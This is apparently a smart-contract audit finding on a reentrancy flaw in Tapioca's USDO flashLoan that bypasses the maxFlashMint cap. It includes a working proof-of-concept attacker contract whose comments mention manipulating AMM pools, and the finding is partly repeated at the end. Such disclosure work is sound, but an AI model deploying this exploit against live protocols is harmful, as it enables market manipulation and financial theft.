### `USDO` flashLoan reentrancy can bypass `maxFlashMint` `USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`. ```solidity File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88 function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external override notPaused returns (bool) { require(token == address(this), "USDO: token not valid"); require(maxFlashLoan(token) >= amount, "USDO: amount too big"); require(amount > 0, "USDO: amount not valid"); uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_MINT_CALLBACK_SUCCESS, "USDO: failed" ); uint256 _allowance = allowance(address(receiver), address(this)); require(_allowance >= (amount + fee), "USDO: repay not approved"); _approve(address(receiver), address(this), _allowance - (amount + fee)); _burn(address(receiver), amount + fee); return true; } ``` Its default limitation is 100K. ```solidity File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/BaseUSDOStorage.sol#L78 flashMintFee = 10; // 0.001% maxFlashMint = 100_000 * 1e18; // 100k USDO ``` However, this can be bypassed with `USDO flashLoan reentrancy`: a malicious smart contract can call `flashLoan` again in `onFlashLoan` callback function. A proof of concept can be: ```solidity File: https://github.com/AndyJiangPro/tapioca-bar-audit/blob/bypass_maxFlashLoan/contracts/usd0/test/USDOFlashLoan.sol contract USDOFlashLoan is Ownable, IERC3156FlashBorrower { IUSDO target; uint256 round; bytes32 internal constant FLASH_MINT_CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); constructor(address _target) { target = IUSDO(_target); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { // validate `msg.sender`, etc target.approve(address(target), type(uint256).max); if (round == 1) { // the maximum loan amount should be 100 K // after 10 rounds, this smart contract can loan 1000 K // this malicious contract can use these tokens to do something bad // like, manipulate AMM pools, etc uint256 balance = target.balanceOf(address(this)); console.log("balance: %s", balance / 1 ether); return FLASH_MINT_CALLBACK_SUCCESS; } round = round - 1; _loan(); return FLASH_MINT_CALLBACK_SUCCESS; } function _loan() internal { bytes memory data = new bytes(0); uint maxFlashLoan = target.maxFlashLoan(address(target)); target.flashLoan( IERC3156FlashBorrower(address(this)), address(target), maxFlashLoan, data ); } function startLoan() external onlyOwner { bytes memory data = new bytes(0); // loan 10 times round = 10; _loan(); } } ``` This vulnerability can be marked as high because malicious users can mint an arbitrary amount of `USDO` tokens in the `flashLoan`. ### `USDO` flashLoan reentrancy can bypass `maxFlashMint` `USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`. ```solidity File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88 function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external override notPaused returns (bool) { require(token == address(this), "USDO: token not valid"); require(maxFlashLoan(token) >= amount, "USDO: amount too big"); require(amount > 0, "USDO: amount not valid"); uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_MINT_CALLBACK_SUCCESS, "USDO: failed" ); uint256 _allowance = allowance(address(receiver), address(this)); require(_allowance >= (amount + fee), "USDO: repay not approved"); _approve(address(receiver), address(this), _allowance - (amount + fee)); _burn(address(receiver), amount + fee); return true; } ```